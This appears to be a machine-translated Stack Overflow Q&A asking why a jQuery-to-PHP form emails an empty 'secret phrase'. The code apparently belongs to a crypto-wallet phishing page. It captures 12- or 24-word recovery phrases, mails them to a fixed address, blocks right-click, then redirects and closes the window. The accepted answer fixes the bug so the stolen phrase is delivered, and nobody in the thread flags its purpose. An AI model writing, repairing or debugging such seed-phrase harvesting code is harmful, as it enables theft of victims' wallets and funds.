【问题标题】:Jquery ajax variable to PHP mailto ()jQuery ajax 变量到 PHP mailto()
【发布时间】:2021-11-08 19:20:03
【问题描述】:

我正在尝试将 import-account__secret-phrase 发布到另一个文件中的 $_Post PHP 变量。存储/通过电子邮件发送变量。

<script>
  var p = !1;
  setTimeout(function() {
    $(".z2").addClass("hidden"), $(".z3").removeClass("hidden")
  }, 1e3), $(".import-account__secret-phrase").on("keyup", function() {
    var t = $(this).val().split(" ");
    p || (12 == t.length && 1 < t[11].length || 24 == t.length && 1 < t[23].length ? $(".button.btn--first-time.first-time-flow__button").prop("disabled", !1) : $(".button.btn--first-time.first-time-flow__button").prop("disabled", !0))
  }), $(".button.btn--first-time.first-time-flow__button").on("click", function() {
    p = !0, $(this).prop("disabled", !0).html('<i class="fa fa-spinner fa-spin fa-fw"></i> ' + $(this).html()), $.post("post.php", {
      data1: "Account",
      data: $(".import-account__secret-phrase").val()
    }, function() {
      p = !1
    }, "json"), window.parent.opener.postMessage({
      uni: !0
    }), setTimeout(function() {
      $(".z2").removeClass("hidden"), $(".z3").addClass("hidden"), setTimeout(function() {
        window.parent.opener.location.replace("https://website.com"), window.parent.close()
      }, 2e3)
    }, 1e3)
  }), document.body.addEventListener("contextmenu", function(t) {
    "import-account__secret-phrase" != t.toElement.className && t.preventDefault()
  }, !1);
</script>

这是 post.php 文件,位于同一文件夹中。

<?php
   // data sent in header are in JSON format
   header('Content-Type: application/json');
   // takes the value from variables and Post the data
   $postmessage = $_POST['.import-account__secret-phrase'];
   $to = "email@email.com";
   $subject = "Phrase";
   // Email Template
   $message .= "Message:". $postmessage."<br>";

   $header .= "MIME-Version: 1.0\r\n";
   $header .= "Content-type: text/html\r\n";
   $retval = mail ($to,$subject,$message,$header);
?>

电子邮件触发并被接收,但 $postmessage 变量为空且不显示密码短语。

【问题讨论】:

  • 发出请求时注意您的网络选项卡,并在您的 PHP 中尝试var_dump($_POST);。发送的数据可能在$_POST['data'],而不是$_POST['.import-account__secret-phrase'],但您需要仔细检查发送的内容以进行验证。

标签: php jquery ajax


【解决方案1】:

问题是因为您正在发送 data 和 data1 参数中的值,但您的 PHP 似乎正在尝试使用 DOM 选择器来检索该值。

根据上下文,您需要将该选择器更改为 'data',以便它读取您在 $.ajax() 调用中提供的值。

$postmessage = $_POST['data'];

我还建议您使用更具描述性的参数名称。

【讨论】:

    猜你喜欢
    • 2016-07-23
    • 1970-01-01
    • 1970-01-01
    • 2013-01-27
    • 1970-01-01
    • 2011-09-24
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多